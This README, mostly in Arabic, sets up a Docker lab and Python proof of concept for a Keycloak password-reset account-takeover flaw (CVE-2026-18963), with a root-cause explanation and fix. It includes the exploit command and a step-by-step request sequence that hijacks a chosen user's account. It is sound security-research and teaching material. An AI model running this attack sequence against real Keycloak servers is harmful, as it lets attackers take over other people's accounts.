
مختبر قائم على Docker واستغلال بلغة Python للثغرة CVE-2026-18963، وهي تجاوز لمسار إعادة تعيين بيانات الاعتماد في Keycloak يتيح الاستيلاء على الحساب عبر تجاوز التحقق من البريد الإلكتروني.
مختبر يحاكي ثغرة CVE-2026-18963 (CVSS 9.1) في Keycloak، تتيح للمهاجم الاستيلاء على أي حساب عبر تجاوز التحقق من البريد الإلكتروني في تدفق إعادة تعيين كلمة المرور.
للاستخدام فقط لأغراض البحث الأمني والتعليم.
docker-compose up -d
انتظر حتى يبدأ Keycloak (~30-60 ثانية).
pip install -r requirements.txt
python setup-lab.py
سيقوم السكربت بإنشاء:
vuln-lab مع تفعيل reset-passwordvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
الخيارات:
-u / --url: عنوان Keycloak (الافتراضي: http://127.0.0.1:8080)-r / --realm: اسم Realm (الافتراضي: vuln-lab)-t / --target: اسم المستخدم المستهدف (الافتراضي: victim)-p / --password: كلمة المرور الجديدة (الافتراضي: Pwned123!)-v / --verbose: تفعيل مخرجات التصحيحواجهة MailHog: http://127.0.0.1:8025 — لعرض بريد إعادة تعيين كلمة المرور المُرسل أثناء الاستغلال.
docker-compose down -v
خطأان مجتمعان في Keycloak يشكلان سلسلة هجوم:
الخطأ 1 — تلف حالة Selector (DefaultAuthenticationFlow.java):
عندما ينقر المستخدم على "Try Another Way"، تُحفظ ملاحظة المصادقة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
على شكل "true" (سلسلة منطقية) بدلاً من معرّف نموذج التنفيذ. القيمة
"true" غير مرتبطة بأي تنفيذ محدد، لذا تبقى
عبر خطوات التدفق، مما يجعل الـ selector يعرض سياقاً خاطئاً.
الخطأ 2 — نجاح الإجراء غير المشروط (ResetCredentialEmail.java):
تستدعي الدالة action() في ResetCredentialEmail الدالة context.success() دون شرط
دون التحقق من رمز الإجراء. عادةً، لا تُستدعى action() إلا عندما ينقر المستخدم على الرابط في البريد الإلكتروني (الذي يحتوي على رمز الإجراء). لكن عندما يتلف الـ selector،
يمكن للمهاجم تشغيل action() مباشرة عبر معالجة التدفق.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Khởi tạo auth session
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Chuyển đến reset flow
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrupt selector state
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Gửi username qua selector
│<── "Check your email" page ────────│ Email gửi, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Re-enter reset flow
│<── Corrupted selector (!!!) ───────│ processFlow() thấy SELECTOR="true"
│ │ → hiển thị selector cho email step
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: trigger action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() không thấy
│ │ authenticationExecution trong form
│─── GET /required-action ──────────>│ → rơi vào nhánh action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (vô điều kiện!)
│ │ → flow chuyển sang ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Đặt mật khẩu mới
│<── 302 → /account/ ──────────────│ Account takeover hoàn tất
│ │
└── Đăng nhập với mật khẩu mới ──────┘
في DefaultAuthenticationFlow.processAction()، عند استقبال POST:
tryAnotherWay في النموذج → لا (النموذج فارغ)authenticationExecution في النموذج → لا (النموذج فارغ)authenticator.action(result) على النموذج من الرابطبما أن الرابط يحتوي على execution=<email_exec_id> (من إجراء نموذج الـ selector)، فإن
ResetCredentialEmail.action() تُستدعى → تُرجع context.success() →
ينتقل التدفق إلى ResetPassword → يُعرض نموذج تعيين كلمة المرور.
| المنتج | متأثر | مُرقَّع |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() يتحقق من selector.equals(lastExecutionId) بدلاً من Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() تتحقق من ACTION_TOKEN_USER_ID قبل استدعاء context.success()context.failure(INVALID_USER)